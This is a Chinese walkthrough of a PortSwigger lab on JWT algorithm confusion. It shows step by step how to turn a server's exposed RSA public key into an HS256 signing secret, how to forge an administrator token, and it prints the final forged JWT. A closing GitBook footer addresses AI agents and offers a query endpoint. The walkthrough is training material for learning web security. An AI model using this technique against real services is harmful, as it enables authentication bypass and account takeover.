> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-algorithm-confusion.md).
# 通过算法混淆绕过 JWT 认证
### 通过算法混淆绕过 JWT 身份验证
**实验说明**
此实验使用基于 JWT 的会话机制。/ 令牌通常使用一种强健的方式进行签名和检查 **RSA** 密钥对。/ 然而，实现不当使应用程序容易受到 **算法混淆**.
目标：
* 通过标准端点从暴露的服务器恢复公钥。
* 使用此密钥伪造一个有效的 JWT，以便访问 `/admin` 管理面板。
* 删除用户 **carlos**.
提供的标识符：
* **wiener : peter**
**JWT 初始**
会话 cookie 包含以下 JWT：
{% code overflow="wrap" %}
```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoid2llbmVyIn0.H9bVHxG5sHp4pcgkshhKMCOmPg8nSbjANDKoovntBwnJn8plUuGNC4tE_Iam9fIXYiZxTc5DjpLp8vhizHN34nfs1E31EzA59kYf2qNzV7ZbCiIayJPv_jqfCmDz8tRB5wtMecb1R8PkDNZ4sszfXaqLjbDQYRd_BxDVx_Sq-mHOJkVlfdgdZtalYbTnkomyVibvFNpSotmCGRQnbs7bgYT-z0E__-0Nx2BVV_bIeElCfDcnuAZhvt768kp9VxP023wJ7O-7hJdRwvKaqREA2oxHNn2awWu6dXACp8NMfSP_T7GOIByC4Iqj2rc26JmTZW2loDicEOztvQo0ZQ_YCQ
```
{% endcode %}
**公钥恢复**
服务器的公钥可通过以下地址访问：
* `/.well-known/jwks.json`
* 或 `/jwks.json`
返回的内容（JWKS）：
{% code overflow="wrap" %}
```json
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
"alg": "RS256",
"n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
}
]
}
```
{% endcode %}
**载荷修改**
JWT 载荷被修改以篡夺管理员账户：
```json
{
"iss": "portswigger",
"exp": 1767551470,
"sub": "administrator"
}
```
RSA 密钥创建
复制、粘贴 jwks.json 文件
```json
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
"alg": "RS256",
"n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
}
```
**公钥转换**
RSA 公钥被转换为 **PEM** 格式：
```bash
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiQWjnDjzeQvu5t8YoeFo
21Ez1xfEA+L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeu
qDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4/iIIjn3WqsTb8l2YXG89ysd
vXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj+95ZXa6HRkrGpF0
TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC+k6OhDRhkKV3P3WLP5rZ34ZE+
UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4+B+gAv+80GZBPbMRBT2
oQIDAQAB
-----END PUBLIC KEY-----
```
然后将此密钥编码为 **Base64**.
```bash
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
```
**创建一个对称密钥（oct）**
Base64 编码的公钥被用作 HMAC 密钥：
```json
{
"kty": "oct",
"kid": "b164d13f-f42e-4d78-a539-fbb4b0eb267a",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
```
**算法混淆**
修改 JWT 的头部以强制使用 **HS256**:
```json
{
"kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
"alg": "HS256"
}
```
然后服务器会将 RSA 公钥作为 HMAC 密钥，这使你能够签名一个可被接受为有效的 JWT。
\*\* 最终伪造的 JWT\*\*
```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9._5C_qAZINXvvykAGhPVxUrWNxzyFnjsI49lONaKnk3A
```
此令牌可访问管理面板，从而通过删除用户来完成实验 **carlos**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-algorithm-confusion.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.